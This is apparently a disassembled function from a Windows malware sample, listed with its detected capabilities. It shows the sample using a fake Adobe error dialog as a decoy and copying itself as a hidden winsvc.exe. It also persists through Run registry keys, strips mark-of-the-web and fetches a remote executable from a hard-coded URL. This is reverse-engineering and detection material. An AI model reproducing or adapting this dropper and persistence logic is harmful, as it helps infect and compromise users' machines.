Function at 0x4014c0
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create http request
Delete file
Hide graphical window
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd08
mov eax, dword [0x40448c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401410
movzx eax, al
test eax, eax
je 0x401500
push 0x10
push str.Adobe_Viewer
push str.adbvw32.dll_not_found_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0xa8c], 0x233c
mov ecx, dword [ebp - 0x44c]
cmp ecx, dword [ebp - 0xa8c]
jae 0x401cb0
push 0
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xcd0], eax
cmp dword [ebp - 0xcd0], 0
je 0x401c9c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xcf4], eax
cmp dword [ebp - 0xcf4], 0
je 0x4015a8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xcf8], 0
jmp 0x4015ce
mov edx, dword [ebp - 0xcf8]
add edx, 1
mov dword [ebp - 0xcf8], edx
cmp dword [ebp - 0xcf8], 0x7d0
jge 0x401646
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.ffag8f2g8fg82g8f8g8fg
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4015bf
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.freeukraine
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xce8], eax
push str.ffag8f2g8fg82g8f8g8fg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xce8], 0
je 0x4017c0
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ffag8f2g8fg82g8f8g8fg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__putinsucks.ua_
mov eax, dword [ebp - 0xce8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xcdc], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xcdc], 0
je 0x4017a8
mov dword [ebp - 0xcfc], 0
jmp 0x401764
mov ecx, dword [ebp - 0xcfc]
add ecx, 1
mov dword [ebp - 0xcfc], ecx
cmp dword [ebp - 0xcfc], 0x7d0
jge 0x4017a8
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401755
mov edx, dword [ebp - 0xcdc]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xce8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0xcd0]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0xcd0]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.2dgd828d8g8fg8g8g
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0xcf0], 0x37
mov dword [ebp - 0xce0], 0x2c
mov eax, dword [ebp - 0xcf0]
add eax, dword [ebp - 0xce0]
mov dword [ebp - 0xcec], eax
cmp dword [ebp - 0xcec], 0x2328
jge 0x401a9b
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.aefafugaugfgauegf
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xd00], eax
push 0
push 0
push 0
push 0
push str.freeukraine
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xce8], eax
cmp dword [ebp - 0xce8], 0
je 0x40196c
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.http:__putinsucks.ua_
mov ecx, dword [ebp - 0xce8]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xcdc], eax
cmp dword [ebp - 0xcdc], 0
je 0x401954
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xcdc]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xce8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xd00], 0
je 0x401a9b
push 0
mov ecx, dword [ebp - 0xd00]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xd00]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.freeukraine
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xce8], eax
cmp dword [ebp - 0xce8], 0
je 0x401a8e
push 0
push 0
push 0
push 0
push str.http:__putinsucks.ua_
mov eax, dword [ebp - 0xce8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xcdc], eax
cmp dword [ebp - 0xcdc], 0
je 0x401a38
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xcdc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.arhf8ahr8rhfh8rhf8
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0xce8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0xce4], 0x1388
mov dword [ebp - 0xcd4], 0x1f4
mov eax, dword [ebp - 0xce4]
cmp eax, dword [ebp - 0xcd4]
jbe 0x401b26
push 0
push str.2dgd828d8g8fg8g8g
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xd04], eax
cmp dword [ebp - 0xd04], 0
je 0x401b24
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xcd4]
add ecx, 1
mov dword [ebp - 0xcd4], ecx
jmp 0x401aaf
push str.aefafugaugfgauegf
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401ba8
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.ffag8f2g8fg82g8f8g8fg
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.aefyaiegfayegfg
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xcd8], eax
cmp dword [ebp - 0xcd8], 0
je 0x401c3d
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xcd0]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 1
mov eax, dword [ebp - 0xcd0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.aefafugaugfgauegf
push str.feu8gf8g2gf8g2fg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.arhf8ahr8rhfh8rhf8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xd08], 0
jmp 0x401c58
mov ecx, dword [ebp - 0xd08]
add ecx, 1
mov dword [ebp - 0xd08], ecx
cmp dword [ebp - 0xd08], 0xfa0
jge 0x401c9c
push str.argarhrharharfafrahth
push str.argarhargafafargh
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.4yy4w4yw4fwgwgw
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4yy4w4yw4fwgwgw
push str.argarhrharharfafrahth
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x401c49
mov edx, dword [ebp - 0x44c]
add edx, 1
mov dword [ebp - 0x44c], edx
jmp 0x401514
mov eax, dword [str.PreLoad]
mov dword [ebp - 0x448], eax
mov ecx, dword [0x40343c]
mov dword [ebp - 0x444], ecx
mov edx, dword [str.winsvc.exe]
mov dword [ebp - 0xa88], edx
mov eax, dword [0x403444]
mov dword [ebp - 0xa84], eax
mov ecx, dword [0x403448]
mov dword [ebp - 0xa80], ecx
mov edx, dword [0x40344c]
mov dword [ebp - 0xa7c], edx
mov eax, dword [0x403450]
mov dword [ebp - 0xa78], eax
mov cx, word [0x403454]
mov word [ebp - 0xa74], cx
mov ecx, 8
mov esi, str.Windows_Service
lea edi, [ebp - 0x440]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xc
mov esi, str.http:__twizt.net_prl.exe
lea edi, [ebp - 0xac0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [ebp - 0x448]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xccc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401d61
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x65c], 0
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x214], eax
lea edx, [ebp - 0x420]
push edx
push str._s:Zone.Identifier
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0xa88]
push edx
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
je 0x401fb2
push 0x104
lea ecx, [ebp - 0xa70]
push ecx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0xa88]
push edx
lea eax, [ebp - 0xa70]
push eax
push 0x4034e8
lea ecx, [ebp - 0x868]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x868]
push edx
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401ec0
push 3
lea ecx, [ebp - 0x868]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x65c]
push edx
push 0x20006
push 0
push 0x4034f8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401ea2
lea eax, [ebp - 0x868]
push eax
call sub.MSVCR90.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x868]
push edx
push 1
push 0
lea eax, [ebp - 0x440]
push eax
mov ecx, dword [ebp - 0x65c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x868]
push eax
call section..text
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x401ec0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [ebp - 0xcc8]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xa88]
push eax
lea ecx, [ebp - 0xcc8]
push ecx
push str._s_s
lea edx, [ebp - 0x658]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x658]
push eax
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401fb2
push 3
lea edx, [ebp - 0x658]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x65c]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401f94
lea ecx, [ebp - 0x658]
push ecx
call sub.MSVCR90.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x658]
push eax
push 1
push 0
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x65c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x658]
push ecx
call section..text
add esp, 4
movzx edx, al
test edx, edx
je 0x401fb2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x450], 0
mov eax, 1
test eax, eax
je 0x401fff
lea ecx, [ebp - 0x450]
push ecx
lea edx, [ebp - 0xac0]
push edx
call fcn.004010b0
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x401ff2
lea ecx, [ebp - 0xac0]
push ecx
call fcn.00401150
add esp, 4
push 0x1b7740
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401fbc
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402026
mov esp, ebp
pop ebp
ret 0x10